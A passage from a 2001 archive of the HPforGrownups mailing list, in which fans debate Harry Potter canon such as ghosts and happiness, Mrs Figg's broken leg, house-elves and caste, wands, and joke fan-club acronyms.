> ghosts.  She said they didn't--and I think it's true that just 
> because your adult years are dominated by a reign of terror, you're 
> murdered before your 23rd birthday, and you die believing your 
> entire family will be destroyed, that doesn't mean you'd describe 
> yourself as an unhappy person.  I'm being quite serious.  Clearly 
> JKR does not mean to say that whether one becomes a ghost depends 
> upon one's state of mind at the moment of one's death, else James 
> and Lily would surely be ghosts.
 
Lily and James would be able to have a peaceful hereafter, IMO, 
because they knew that at the end of their lives they had done 
everything in their power to protect their son.  If one believes that 
they also "saw" somehow what happened when Voldemort tried to kill 
Harry, that, if anything, would be likely to increase whatever 
general contentment their spirits might have and speed them on their 
way with the knowledge that Harry was all right and that their 
sacrifice (specifically Lily's) was for the greater good, as 
Voldemort was rendered powerless.

On a slightly related note, one wonders whether JKR will persist in 
having Harry and Ron study Divination.  If they do continue with 
Trelawney, perhaps she will try having them do seances.  One imagines 
Harry would be very anxious to communicate with his parents...or 
would he?  Any thoughts?

--Barb







From blpurdom at yahoo.com  Sun Sep 23 12:02:02 2001
From: blpurdom at yahoo.com (blpurdom at yahoo.com)
Date: Sun, 23 Sep 2001 12:02:02 -0000
Subject: Mrs Figg, and her broken leg....
In-Reply-To: <9ojf9j+u72q@eGroups.com>
Message-ID: <9okivq+rdeb@eGroups.com>

No: HPFGUIDX 26543

> --- In HPforGrownups at y..., devika261 at a... wrote:
> > In a message dated Sat, 22 Sep 2001 11:20:58 AM Eastern Daylight 
> Time, vheggie at y... writes:
> > 
> > > Early on in PS/SS, she breaks her leg, supposedly from tripping 
> > > over one of her cats.  As a consequence of this, Harry gets to 
> > > go to London Zoo, and have his first conversation in 
> > > Parseltoungue.
> > > Several weeks later she's still on crutches, since Dudley 
> > > nearly runs her over with the racing bike he gets for his 
> > > birthday.  Why did she not mend it/have it mended with magic?
   
> > Well, I'm supposed to be writing an English paper, but I like 
> > this question, so I'll take a break to answer it.
> > 
> > I think Arabella Figg is a witch who has for some reason been 
> > living in a sort of exile from the wizarding world--probably self-
> > imposed, and for the sake of Harry's safety.  She may or may not 
> > have actually broken her leg, but I think that she knew it was 
> > Harry's last full year with the Dursleys since he would be 
> > turning 11, and she wanted him to enjoy himself for once.  The 
> > broken leg was a good way for her to get out of watching him, so 
> > it was likely that the Dursleys would take him to the zoo.  And 
> > Harry did have a good time until the snake incident.  I don't 
> > believe that the whole Parseltongue thing was part of any master 
> > plan on Mrs. Figg's or Dumbledore's part, but you never know.
[snip]
> > Devika, who should be thinking less about Harry Potter and more 
> > about virgin martyr legends...

This is partly me-tooism but not completely...

I don't think anyone suspected Harry was a Parseltongue; even 
Dumbledore seems genuinely surprised by that in CoS (although he 
immediately has a theory about WHY Harry is a Parseltongue).
I think Arabella Figg's "exile" is not self-imposed; IMO she is doing 
Dumbledore's bidding (voluntarily, though).  I think it is possible 
that she did only pretended to break her leg so that Harry would have 
a chance to do something fun for once.  And then the reason why she 
wouldn't have mended it with magic is a) it wasn't broken to begin 
with, so no mending required; and b) even if it had been broken, 
Muggles now thought that she had a broken leg, and it would have been 
highly unusual for an old woman to suddenly have her leg in perfect 
condition again immediately.  Thus, here are some possible scenarios:

1- Mrs. Figg did not break her leg, but had to pretend to hobble 
about on crutches for appearances' sake, since Muggles were under the 
impression she had broken it.

2- Mrs. Figg really did break her leg and had it magically mended, 
but still had to hobble about on crutches for appearances' sake.

Either way, she had to appear for a number of weeks to be working on 
mending her leg still.  If she is a witch (as i believe) IMO it must 
have been dreadfully difficult to restrain herself from hexing Dudley 
whenever she saw him mistreating Harry.  (Or when he ran over her.)

Slightly OT to Devika...Have you looked into St. Cecilia for your 
virgin martyrs paper?  While writing about her it would also give you 
a good excuse to sit around listening to Benjamin Britten's Ode to 
St. Cecilia...

--Barb






From catherine at cator-manor.demon.co.uk  Sun Sep 23 12:33:52 2001
From: catherine at cator-manor.demon.co.uk (catherine at cator-manor.demon.co.uk)
Date: Sun, 23 Sep 2001 12:33:52 -0000
Subject: Pre-Hogwarts - Hermione - Percy-Harry-Clubs
In-Reply-To: <9ok9ru+g1mt@eGroups.com>
Message-ID: <9okkrg+48sa@eGroups.com>

No: HPFGUIDX 26544

--- In HPforGrownups at y..., "Amy Z" <aiz24 at h...> wrote:
> Ebony wrote:
> 
> > While some of the children might be homeschooled, I think there is
> > subtext in canon to prove that some sort of pre-secondary 
wizarding
> > education exists.  Haven't we mentioned that some of the students
> > seem to know each other?
> 
> This is a suggestion I don't remember.  Which students seem to know 
> each other, aside from Draco, Crabbe and Goyle?  Those are the only 
> ones I recall showing any prior knowledge of each other, and it 
seems 
> easily explained by their dads being . . . chums.  Draco's friendly 
> little introductory comment also shows he knows about Ron's family 
but 
> also shows that he has never met him before.

I can't remember who suggested it, and I am feeling too lazy to 
search the archives for the message (so apologies to whoever came up 
with this) but it was suggested some time ago that an example of this 
could have been during the first flying lesson:

"Sticking up for Longbottom?" said Pansy Parkinson, a hard-faced 
Slytherin girl.  "Never thought you'd like fat little crybabies, 
Parvati."

It's the "never" which does indicate that they knew oneanother prior 
to Hogwarts.  Whether this is indicative of wizarding primary school 
I don't know - it does seem, however, more likely than unlikely that 
some of the children should know oneanother before Hogwarts, because 
surely their parents socialise?




> Ebony again:
> 
> > I don't think Hermione shows off in the beginning because her ego 
is
> > big.  I think she is a bit insecure and feels as if she needs to
> > showcase her knowledge to prove her worth 
> 
Hear!  Hear!  (Or is it Here!  Here! - I get confused everytime I 
decide to write this and so usually don't bother).  You know how I 
feel about Hermione, Eb, and like many others on the list, I feel as 
though she *is* me, so I too, am already a paid up member of 
S.C.H.A.B.B.    Ditto P.I.N.E. - I think in several respects Percy 
and Hermione are very alike, and I do not think he is evil, just 
insecure, needy and quite sweet.  He cares very much for his family, 
and if this is sometimes portrayed as bossiness and interfering, 
well, so be it, but his heart's in the right place.

One aside, regarding Hermione knowing the answer - I have to say that 
I was like her as a child in that respect.  When I went to college, 
it became embarrassing always piping up, and I stopped, until I was 
sure that no one else knew the answer or were prepared to say 
anything.  However, I quickly learned that there is nothing worse 
than sitting in a class or seminar when no one says anything and the 
professor is really struggling to get any participation from his 
students.  So, I started answering again.  I am sure that if Hermione 
hasn't gone through this already, she will do eventually.

Harry:  again, like Jenny and Ebony, I will always come out and say 
that I would rather talk about Harry than Snape (and Ron or anyone 
else for that matter) anytime.  No one ever seems to want to though, 
as was shown in the last Harry week.  Perhaps because most of us feel 
the same way about him we don't feel the need to argue our cause so 
much?  This is unlike most of the other characters - for example, Ron 
week was extended as it became so controversial - people really do 
seem to love or hate him.  

  Anyway, acronyms for a Harry club - very difficult:      How about 
Support Harry (It's The Best Option )Now   (S.H.I.T.B.O.N)..(Sorry.)
 

Anyway, I'm prepared to be a member of more or less everything except 
C.R.A.B.

Catherine

> --------------------------------------------------------------------
--
>  "I say to you all, once again--in the light of Lord Voldemort's  
>  return, we are only as strong as we are united, as weak as we are  
>  divided.
>    "Lord Voldemort's gift for spreading discord and enmity is very
>  great.  We can fight it only by showing an equally strong bond of
>  friendship and trust.  Differences of habit and language are 
nothing 
>  at all if our aims are identical and our hearts are open."
>                                                -Albus Dumbledore  
> --------------------------------------------------------------------
--




From blpurdom at yahoo.com  Sun Sep 23 12:42:10 2001
From: blpurdom at yahoo.com (blpurdom at yahoo.com)
Date: Sun, 23 Sep 2001 12:42:10 -0000
Subject: Wizarding Caste System [was: In Defense of Hermione]
In-Reply-To: <20010923023929.29714.qmail@web20807.mail.yahoo.com>
Message-ID: <9oklb2+loto@eGroups.com>

No: HPFGUIDX 26545

--- In HPforGrownups at y..., Rowena Grunnion-Ffitch 
<rowena_grunnion_ffitch at y...> wrote:
> 
> --- Ebony <ebonyink at h...> wrote:
> 
> > Well, it seems to me that as she gets older Hermione
> > is getting better at not being so bossy.
> 
>    A little better. But take her House-Elves rights
> campaign, she's going strong at it for months before
> she even bothers to talke to some House-elves and find
> out what *they* think. 
>    I believe Hermione is guilty of projecting human
> needs and aspirations on non-humans. Maybe House-elves
> are brainwashed, or maybe they really do have very
> different emotional needs. I suggest Hermione find out
> which it is before she starts her crusade.

She's projecting in the same way that Westerners have gone into other 
societies around the world and decided what is good for the people in 
those societies.  I love Hermione, but she would decidedly make a 
very bad anthropologist, unable to withhold judgment on the merits of 
a society's structure and customs and merely observe.

I'm changing the topic slightly here.  I've been having these 
thoughts lately about the wizarding caste system.  It seems that JKR 
is purposely drawing parallels between the Indian caste system and 
the wizarding one, and especially the way in which an 
outside "crusader" like Hermione comes in and starts trying to 
liberate the house-elves (who, I suppose, would be the equivalent of 
Untouchables).  IIRC, even those who were not Brahmins took great 
afront at Brits in India who disregarded the caste system and either 
tried to create a level playing field for all people of Indian birth 
or simply did not care about the protocol of the country they had 
taken over and tried to force those of different castes to interact 
with each other in ways that violated this protocol, scandalizing 
people of all castes. (Gandhi also got into trouble because of his 
desire to overthrow the caste system.)  

Although some folks have discussed slavery parallels with regards to 
the house-elves, the caste-system parallel seems to work better, as 
the house-elves themselves seem to be very attached to having this 
particular niche in wizarding society, and Dobby's joy at being free 
seemed to stem largely from having to serve the Malfoys, rather than 
having been enslaved in general.  

The way that other groups fit into the caste system (or don't--
giants, it seems, would be considered out-castes) is debatable; pure-
bloods would presumably be the equivalent of Brahmins, but I wouldn't 
want to call half-bloods or Muggle-borns the equivalent of Warriors, 
etc.  I don't think the parallels need to be that specific.  Suffice 
to say that the status of half-bloods is down a notch from pure-
bloods, Muggle-borns are below that, and then you get various 
sentient magical creatures, such as goblins, on down to house-elves.

OTOH, one thing that allowed Buddism and Islam to get a foothold in 
India (I'm not really getting into theology, don't worry) was that 
these sects disregarded the caste system, bringing a new freedom to 
many (not just the lowest castes, either).  But in spite of this, 
many, many people did not convert and continued to adhere to 
Hinduism, even those in the lowest castes, so freedom from the caste 
system was not a fool-proof draw even to those Westerners might think 
of as oppressed.  Dobby may have been an anomaly, a house elf who 
wanted very badly to "convert."  In other words, Hermione is facing a 
very entrenched system and a people firmly convinced that they are 
where they belong (witness Winky).  If there is going to be true 
house-elf liberation at some point, it's going to be a real uphill 
slog for her--the equivalent of a social revolution.

--Barb





From cynthiaanncoe at home.com  Sun Sep 23 12:56:38 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Sun, 23 Sep 2001 12:56:38 -0000
Subject: Happiness of HP Characters
In-Reply-To: <9oiq0p+g6tk@eGroups.com>
Message-ID: <9okm66+vn4p@eGroups.com>

No: HPFGUIDX 26546

--- In HPforGrownups at y..., caliburncy at y... wrote:
> --- In HPforGrownups at y..., "Ebony" <ebonyink at h...> wrote:
> > Tabouli wrote:
> > 
> > "As for the happiness of the characters, there's plenty of room 
for 
> > speculation there: is Dumbledore happy?  Is Hermione?  Dudley?  
The 
> > Weasley twins?"
> > 


Then Luke wrote:

> Contendedness in a way to me implies (though there are alternate 
> interpretations--this is basically semantics, after all) that you 
have 
> reached some sort of end destination in your goals.  There are lots 
of 
> philosophers who would argue that happiness, however, is a manner 
of 
> traveling, not a place to be reached.  And so it's possible some 
> characters might be basically happy, even with mostly negative 
> experiences.  Probably not the majority of them, but perhaps a few.
> 


Now that you mention it, there aren't many characters who are overtly 
happy in HP.  I hadn't really thought about it before.  The only 
clear case of a happy character, IMO, is Dobby.  But look what it 
takes to make him happy:  used and mismatched socks and a sweater.  
And getting paid a pittance because he's used to enslavement.  And if 
we believe Ron, all of the Hogwarts house elves are happy, although 
I'm not sure I believe him.

Another candidate for "happiness" perhaps is Percy.  He has what he 
wants:  a job at MoM.  But again, the bar is set awfully low.  Being 
called "Weatherby" and handling cauldron bottom reports is just fine 
with Percy.  I certainly get the sense that Bill and Charlie are 
happy, but there really isn't much support for this in canon.

Life must be awfully tough in the wizarding world.

Cindy 




From meboriqua at aol.com  Sun Sep 23 12:56:54 2001
From: meboriqua at aol.com (meboriqua at aol.com)
Date: Sun, 23 Sep 2001 12:56:54 -0000
Subject: - Happiness
In-Reply-To: <9ojf55+1051u@eGroups.com>
Message-ID: <9okm6m+8966@eGroups.com>

No: HPFGUIDX 26547

--- In HPforGrownups at y..., "Amy Z" <aiz24 at h...> wrote:

  <I don't know what I meant by asking whether RL is happy, because I 
don't know what JKR meant by saying that the happiest people do not 
become ghosts.  It's instructive to remember that (IIRC) she said it 
in the context of being asked whether James and Lily became ghosts.  
She said they didn't--and I think it's true that just because your 
adult years are dominated by a reign of terror, you're murdered before 
your 23rd birthday, and you die believing your entire family will be 
destroyed, that doesn't mean you'd describe yourself as an unhappy 
person.  I'm being quite serious.  Clearly JKR does not mean to say 
that whether one becomes a ghost depends upon one's state of mind at 
the moment of one's death, else James and Lily would surely be 
ghosts.>

I know exactly what you mean, and it made me think of something else 
as well.  Maybe (and I'm thinking mostly of JKR here) happiness is 
also about being satisfied (contented?) with yourself.  Moaning Myrtle 
was obviously not happy with who she was, as she was always crying 
about her appearance and being teased by other students while she was 
still alive.  If that is the case, Ron could be a candidate for 
becoming a ghost, but only if he lets his own insecurities and 
jealousies of others (Harry, Draco) continue to get the best of him.  
Harry OTOH, never seems to wish he was someone else - he, like Remus 
(see next paragraph) accepts who he is and what he has to deal with 
very well, and certainly better than I could!

Happiness can also be achieved through inner strength, something most 
of our favorite characters have.  Remus, IMO, is quite strong in both 
categories - he has certainly dealt well with his situation and is 
also a very strong person to be able to deal with the ostracism that 
goes along with the already painful experience of regularly becoming a 
ferocious beast.

I really am curious to find out more about the already existing ghosts 
in the series.  I hope that when JKR reveals to us why people become 
ghosts, we will find out more about the Bloody Baron and Peeves.  

--jenny from ravenclaw 

Fudge is finger lickin' good ****************




From cynthiaanncoe at home.com  Sun Sep 23 13:08:52 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Sun, 23 Sep 2001 13:08:52 -0000
Subject: It's All About Harry -- and various other clubs
In-Reply-To: <9ojfkb+7sdq@eGroups.com>
Message-ID: <9okmt4+d8u8@eGroups.com>

No: HPFGUIDX 26548

Luke wrote:
> 
> And what the heck's the name of the Lupin fan club around here?  
I'm 
> sure there must be one for my favorite character, right?  Just so 
long 
> as it isn't about Lupin's sex appeal (which, for reasons you might 
> guess, has no impact on me), I'd be in on that to.
> 

I tried to post to name a Lupin fan club yesterday, but it didn't 
post, so I'll tack it onto Luke's comment.  Lupin's problem isn't 
that people criticize him or dislike him.  It is that people assume 
he is expendable.

I noticed in the Derby that Lupin was pegged as the character who was 
going to die in OoP.  I find this view highly objectionable, and it 
pains me each time I even hear it.  Lupin is NOT going to die in OoP; 
I have to believe.  The people who are saying it are just, well . . . 
wrong and have no effect of the impact of these statement on true 
Lupin fans.  Lupin will stay with us until Book 7, hopefully the last 
page of Book 7.

So I propose that the Lupin appreciation club be called D.A.T.L.I.G. 
(Desist Arguing That Lupin Is a Gonner).  No dues at all, as we can 
all do for our favorite shabby, destitute werewolf.

Cindy
-----------
"Well, hello, Peter,"  said Lupin pleasantly, as though rats 
frequently erupted into old school friends around him.  "Long time, 
no see."  PoA.




From hermione at pigwidgeon.f9.co.uk  Sun Sep 23 13:20:47 2001
From: hermione at pigwidgeon.f9.co.uk (hermione at pigwidgeon.f9.co.uk)
Date: Sun, 23 Sep 2001 13:20:47 -0000
Subject: New Fan Site
Message-ID: <9oknjf+ap4p@eGroups.com>

No: HPFGUIDX 26549

Hey, I've finished my website, there isn't much on it right now 
because most of it is what people post!

So feel free to post all you want :-)

http://adventuresofhp.cjb.net/




From cynthiaanncoe at home.com  Sun Sep 23 13:21:48 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Sun, 23 Sep 2001 13:21:48 -0000
Subject: Wormtail & the wand; Sirius' Wand Still At MoM? 
In-Reply-To: <20010922.234923.-388527.9.mindyatime@juno.com>
Message-ID: <9oknlc+attc@eGroups.com>

No: HPFGUIDX 26550

Mindy wrote:

> 1. We've made the argument many times already that when a wizard
> transforms, he takes his wand with him.
> 
> But when Peter grabbed Ron's wand upon coming out from the Whomping
> Willow and transfigured himself back into a rat, I don't think he 
took
> the wand with him.
> 
> I also thought all along that an animagus does not need a wand to
> transform.
> 
> So now I am confused.
> 

There are lots of wands flying around in PoA, aren't there?  I recall 
that Pettigrew dives for Lupin's dropped wand, not Ron's.  So then, 
does Pettigrew still have Lupin's wand when Pettigrew transforms?  
No, because Harry disarms Pettigrew right before he transforms, and 
Lupin's wand flies out of sight.  Thank goodness for that, because I 
don't know where Lupin would scratch together the money for a 
replacement wand.

I wonder if Pettigrew would have kept Lupin's wand had Harry not done 
this?  You could argue that animagi only keep their own wands because 
of their special bond with their own wand, so another person's wand 
wouldn't work.  But I suspect that JKR intends no such thing, and 
that's why she explicitly has Harry disarm Pettigrew.

Speaking of wands, does anyone think Sirius' wand still exists 12 
years after he was sent to Azkaban?  Wouldn't it probably be at MoM.  
If so, then perhaps Arthur Weasley will steal Sirius' wand from MoM 
and return it to him in OoP?  This would be a good device to get 
Arthur fired.  (I sure hope Percy doesn't get wind of the plan and 
turn his own father in.)  I can't see how Sirius will be much help in 
the fight against Voldemort without a wand.  

Cindy




From pennylin at swbell.net  Sun Sep 23 14:26:31 2001
From: pennylin at swbell.net (Penny & Bryce)
Date: Sun, 23 Sep 2001 09:26:31 -0500
Subject: Hermione & S.C.H.A.B.B. -- Lupin's Club & Lupin in OoP
References: <20010923012231.61691.qmail@web20801.mail.yahoo.com>
Message-ID: <3BADF117.60103@swbell.net>

No: HPFGUIDX 26551

Hi --

Rowena Grunnion-Ffitch wrote:

> 
>     Well, sorry, but she *is* bossy

Sorry, but no.  *Was* bossy.  Can still be bossy on occasion in GoF, but 
not overwhelmingly the same bossy person she was in PS/SS.  Not at all. 
  Not in my opinion anyway.  I think she's grown alot.

 
> *and* a little
showoff, (does she *have* to answer *every* question?
> Can't she give somebody else a chance occasionally?)

So, she should sit on her hands & not answer questions, why?  Isn't it 
the duty of the professors to call on other students?  She should raise 
her hand if she knows the answer, and it is *then* up to the professors 
to encourage participation by others or not as they choose.

Amy Z said:

> I think this is true of most braggarts; they suffer from small egos,
> not big ones.  (They're still braggarts.  But I agree, Hermione has
> improved 500%.  No need to twist my arm, I already have my
> S.C.H.A.B.B. membership card!)

Ah, but Amy, Hermione is not a *braggart*!  That's the point.  She may 
be a know-it-all.  She may be a show-off even.  But, that is *not* the 
same thing as being a braggart.  According to my dictionary, a braggart 
is someone given to loud, *empty* boasting.  First off, Hermione is 
legitimately accomplished & brainy, so even if she was boasting, it 
wouldn't be "empty" (without merit).  Second, we don't hear her loudly 
proclaiming her good marks & such, particularly not in comparison to or 
at the expense of others.  I maintain that while Hermione has her 
faults, being a braggart is not one of them.

> A new movement after all: 
> "What the H.E.L.L." (What the Hey, Everybody Loves Lupin)!  It will be
> the saving us all!

LOL!  I'll join that one too.  Like Catherine, I'm prepared to join just 
about anything except C.R.A.B.

> Hear!  Hear!  (Or is it Here!  Here! - I get confused everytime I
> decide to write this and so usually don't bother). 

Are we the same person Catherine?  I too have this debate everytime I've 
wanted to write that & like you, I end up substituting some other phrase 
to avoid the problem.  Perhaps someone can help us out?

Cindy asked why Lupin seems to be the one pegged to die by many of us. 
I want to go on record: I don't *want* Lupin to die in OOP.  I base my 
prediction on the fact that (a) JKR said in some post-GoF interview that 
there was a death coming in Book 5 that would "half-crucify" her to 
write, and (b) Lupin is one of her favorite characters.  I suppose 
though that any of the semi-important characters might be enough to 
half-crucify JKR, so perhaps Lupin is safe after all.  I fervently hope 
so but ....

Penny









From HPforGrownups at yahoogroups.com  Sun Sep 23 15:11:02 2001
From: HPforGrownups at yahoogroups.com (HPforGrownups at yahoogroups.com)
Date: 23 Sep 2001 15:11:02 -0000
Subject: New file uploaded to HPforGrownups 
Message-ID: <1001257862.2130.40806.sa@yahoogroups.com>

No: HPFGUIDX 26552


Hello,

This email message is a notification to let you know that
a file has been uploaded to the Files area of the HPforGrownups 
group.

  File        : /Fan Fiction/UserGoogol's Fanfics/An interview with a vampire 
  Uploaded by : usergoogol at yahoo.com 
  Description : Well, technically, he's probably not a vampire, but he is Snape. 

You can access this file at the URL

http://groups.yahoo.com/group/HPforGrownups/files/Fan%20Fiction/UserGoogol%27s%20Fanfics/An%20interview%20with%20a%20vampire 

To learn more about file sharing for your group, please visit

http://help.yahoo.com/help/us/groups/files

Regards,

usergoogol at yahoo.com
 







From mindyatime at juno.com  Sun Sep 23 15:03:53 2001
From: mindyatime at juno.com (Mindy C.L.)
Date: Sun, 23 Sep 2001 11:03:53 -0400
Subject: Harry Acronym
Message-ID: <20010923.111937.-486735.2.mindyatime@juno.com>

No: HPFGUIDX 26553

How about 

L.O.C.H.S. (League Of Cool Harry Supporters)?

or

U.C.H. (United Club for Harry)?

or

W.H.I.S. (Wizard Harry Is Supreme)?

or

I.U.D.H.G.L. (If you Dis Harry, Get Lost!)?

Kidding!



MINDY

Who did not enter in the poll that she is 25, married, Orthodox
(Chassidic) Jewish, Brooklyn, NY, no real political leanings, a Harry
Fan, and a desperate Mom-Wanna-Be
________________________________________________________________
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Juno offers FREE or PREMIUM Internet access for less!
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From monika at darwin.inka.de  Sun Sep 23 15:18:45 2001
From: monika at darwin.inka.de (Monika Huebner)
Date: Sun, 23 Sep 2001 17:18:45 +0200
Subject: [HPforGrownups] Re: Wormtail & the wand; Sirius' Wand Still At MoM?
In-Reply-To: <9oknlc+attc@eGroups.com>
Message-ID: <MABBIOAJAKBIIEFEFANKGEOFCKAA.monika@darwin.inka.de>

No: HPFGUIDX 26554

> -----Original Message-----
> From: cynthiaanncoe at home.com [mailto:cynthiaanncoe at home.com]

> No, because Harry disarms Pettigrew right before he transforms, and 
> Lupin's wand flies out of sight.  Thank goodness for that, because I 
> don't know where Lupin would scratch together the money for a 
> replacement wand.

If Sirius could afford to buy a Firebolt, and I am convinced he hasn't
emptied his vault buying it, he could very well lend him the money
for a new wand. Just an idea. Sirius has to get a wand in any case,
he is much too vulnerable without one. Of course he can't walk into
Ollivander's himself... Maybe Dumbledore can make an arrangement
to get him a new wand, it depends on whether Ollivander will support
Dumbledore or Fudge in Book 5.

> Speaking of wands, does anyone think Sirius' wand still exists 12 
> years after he was sent to Azkaban?  Wouldn't it probably be at MoM.  

I always thought that it must have been destroyed when they sent
him to Azkaban. They snapped Hagrid's wand when he got expelled,
and I assume that they would do the same with the wands of people 
with life sentences in Azkaban. He wasn't supposed to ever get out,
so there was no need to keep his wand anywhere. The Ministry might
very well store the wands of prisoners in temporary custody, but I 
don't believe it's likely that there are many of them. And if you go 
mad in Azkaban, you won't need a wand anymore, anyway.

Monika

------
Book and movie reviews in English and German:
http://sites.inka.de/darwin/indexalt.html 
 



From rowena_grunnion_ffitch at yahoo.com  Sun Sep 23 15:40:49 2001
From: rowena_grunnion_ffitch at yahoo.com (Rowena Grunnion-Ffitch)
Date: Sun, 23 Sep 2001 08:40:49 -0700 (PDT)
Subject: [HPforGrownups] Wizarding Caste System [was: In Defense of Hermione]
In-Reply-To: <9oklb2+loto@eGroups.com>
Message-ID: <20010923154049.87755.qmail@web20802.mail.yahoo.com>

No: HPFGUIDX 26555

    My poin is House-Elves can't be validly compared
to low caste Hindus or African slaves or any other
Human group.
   They are *not* Human Beings but magical creatures
with very different emotional and physical needs. Do
they get tired? Do they age? can they get sick? We
don't know. What we do know is they have a very strong
need to work, (even Dobby acknowledges this). 
   It would seem that House-Elves are unhappy when
they are abused and despised, (who wouldn't be?) but
are perfectly happy when they are kindly treated and
their work appreciated. Winky is extremely happy with
the Crouches because she she is needed and trusted.
   She is sitting in the high bleacher not because her
master unfeelingly ordered her to do so but because
she herself has begged him to give this treat to his
captive son. She is punished not for 'being in the
wrong place at the wrong time' but for letting Crouch
jr. get away from her. There is no evidence she is
ever mistreated the way Dobby was and considerable
evidence she was highly valued and esteemed. Which is
of course why she is so devestated at being 'freed'.
   
   Hermione's crusade is based on a false premise,
that House-elves are just like Human Beings. Their
legal and social position may indeed be in need of
reform but she should get a clearer idea of what
House-elves are and their needs and wants before she
starts agitating for changes.

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From rowena_grunnion_ffitch at yahoo.com  Sun Sep 23 16:02:21 2001
From: rowena_grunnion_ffitch at yahoo.com (Rowena Grunnion-Ffitch)
Date: Sun, 23 Sep 2001 09:02:21 -0700 (PDT)
Subject: [HPforGrownups] Wormtail & the wand - # of students
In-Reply-To: <20010922.234923.-388527.9.mindyatime@juno.com>
Message-ID: <20010923160221.79893.qmail@web20806.mail.yahoo.com>

No: HPFGUIDX 26556



--- "Mindy C.L." <mindyatime at juno.com> wrote:

> 2. In regards to the argument of how many students
> there were at Hogwarts
> - 280 vs. 1000, there is one place in PoA where it
> becomes clear that
> there were 1000, not 280. At the Quidditch final in
> PoA, it says that
> three-quarters of the crowd was cheering Gryffindor
> on, but 200 students
> were wearing green and cheering for Slytherin. 
   Correction 'two hundred *people*' are wearing
Slytherin colors. There is no good reason to assume
all these people were students. Parents, other
relatives, alumni and Quidditch enthusiasts from the
wizarding world in general are also possibilities.




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From usergoogol at yahoo.com  Sun Sep 23 18:20:33 2001
From: usergoogol at yahoo.com (usergoogol at yahoo.com)
Date: Sun, 23 Sep 2001 18:20:33 -0000
Subject: ATTENTION! I created a snazzy acronym database.
Message-ID: <9ol95h+htt4@eGroups.com>

No: HPFGUIDX 26557

Think of a acronym that already exists, or that you want to create, for the Harry Potter world. (C.R.A.B. for example) Now put it in the database. I already put two in. I'm very proud of the second one.




From ebonyink at hotmail.com  Sun Sep 23 18:22:45 2001
From: ebonyink at hotmail.com (Ebony)
Date: Sun, 23 Sep 2001 18:22:45 -0000
Subject: Wizarding Caste System [was: In Defense of Hermione]
In-Reply-To: <20010923154049.87755.qmail@web20802.mail.yahoo.com>
Message-ID: <9ol99l+ecbi@eGroups.com>

No: HPFGUIDX 26558

--- In HPforGrownups at y..., Rowena Grunnion-Ffitch 
<rowena_grunnion_ffitch at y...> wrote:
>     My poin is House-Elves can't be validly compared
> to low caste Hindus or African slaves or any other
> Human group.

Yet this fictional work was not composed in isolation, was it?  It 
may contain magic, but speculative fiction is often a commentary on 
contemporary life and times, and the best literary works shed light 
on some of the many facets of human nature.  The author of the Harry 
Potter series *is* human, and if there is RL magic or sentient 
extraterrestial life (I believe in neither), then it is bound to be 
so very removed from our own reality that we cannot conceive it.  
Let's not get deep here...

>    Hermione's crusade is based on a false premise,
> that House-elves are just like Human Beings. Their
> legal and social position may indeed be in need of
> reform but she should get a clearer idea of what
> House-elves are and their needs and wants before she
> starts agitating for changes.

You are not the first to make this point, Rowena.  I won't name 
names... (grins)

The *exact* same arguments were used to enslave millions.  The 
premise that the enslaved were indeed human was seen by many as 
false, and the legitimate philosophy, science, and religion of the 
time propagated this belief.  Such relativist rhetoric bothers me a 
great deal, especially when JKR has stated that she is exploring RL 
issues through her created world.  She may not be commenting on 
humans as capital or a caste system; she might be making a point 
about the British class system.  Nevertheless, she IS making a 
point.  

The narrative does paint Hermione's plight in a comic light at times, 
but JKR keeps making parallel statements about the status of 
creatures and beings in the magical world in her work.  Subjugated 
house-elves.  Werewolves believed to be dangerous.  Giants believed 
to be bloodthirsty.  JKR's narrative seems to critique those who 
discriminate others because of who or what they are.  House-elves are 
no exception... Dobby's saved Harry's butt a couple of times.

Another point you made is of concern from a historical perspective.  
It was the position of those who profited from the "peculiar 
institution" that the enslaved were happy in bondage as well.  This 
is not surprising.  If you know nothing of freedom, then the prospect 
of it seems frightening.  There are accounts, at least in the United 
States, of freed slaves in the 1860s returning and begging their 
masters to let them back in... for they knew no other life.

I don't care if House-Elves *aren't* human.  They are sentient 
beings, and as such, deserve all the applicable rights, privileges, 
etc. given to the sentient.  If we find out that dolphins think and 
have souls, then darn it, I'll form a SPEW-like organization for 
them, too, and demand that Sea World release all of them to their 
natural environment.

Many of the enslaved didn't believe they'd be better off after 
Emancipation.  Many dolphins might not make it in their natural 
habitats, either.  Doesn't mean that we don't have the right to do 
better by their children.

I could go on and on about this, but will spare the list.

--Ebony AKA AngieJ 




From klhurt at yahoo.com  Sun Sep 23 18:53:32 2001
From: klhurt at yahoo.com (Kelly Hurt)
Date: Sun, 23 Sep 2001 11:53:32 -0700 (PDT)
Subject: [HPforGrownups] Re: Pre-Hogwarts Education
In-Reply-To: <9ojbe8+r42o@eGroups.com>
Message-ID: <20010923185332.15083.qmail@web14207.mail.yahoo.com>

No: HPFGUIDX 26559

--- mellienel2 at yahoo.com wrote:

>JKR has said they don't go to schools,
>they are home-schooled in the basic
>subjects...

Reference, please?

Kelly the Yarn Junkie

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From klhurt at yahoo.com  Sun Sep 23 19:01:07 2001
From: klhurt at yahoo.com (Kelly Hurt)
Date: Sun, 23 Sep 2001 12:01:07 -0700 (PDT)
Subject: [HPforGrownups] Snape
In-Reply-To: <20010923004923.56815.qmail@web20804.mail.yahoo.com>
Message-ID: <20010923190107.68399.qmail@web14208.mail.yahoo.com>

No: HPFGUIDX 26560

--- Rowena Grunnion-Ffitch <rowena_grunnion_ffitch at yahoo.com> wrote:
>
>Who says Snape is a pure-bloodist? As
>far as I can remember there's no
>indication anywhere in the books of
>his position on the question. 

I should've been clearer.  To *me*, it is obvious Snape must be a
pure-bloodist.

My rationale:  He is head of Slytherin House and the one Slytherin
password we know is 'pure-blood'.  Since the entrance isn't through a
portrait, it is my belief that Snape set that password himself.  I also
think this prejudice is what initially led him to Voldemort.

All my opinion, of course.

Kelly the Yarn Junkie

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From klhurt at yahoo.com  Sun Sep 23 19:11:16 2001
From: klhurt at yahoo.com (Kelly Hurt)
Date: Sun, 23 Sep 2001 12:11:16 -0700 (PDT)
Subject: [HPforGrownups] Is Dedalus Diggle important? (Re: Dedalus Diggle)
In-Reply-To: <9okbt9+hfm4@eGroups.com>
Message-ID: <20010923191116.80115.qmail@web14202.mail.yahoo.com>

No: HPFGUIDX 26561

--- Mirzam Black <mirzamblack at yahoo.com> wrote:
>
>So I was thinking, if Diggle is part
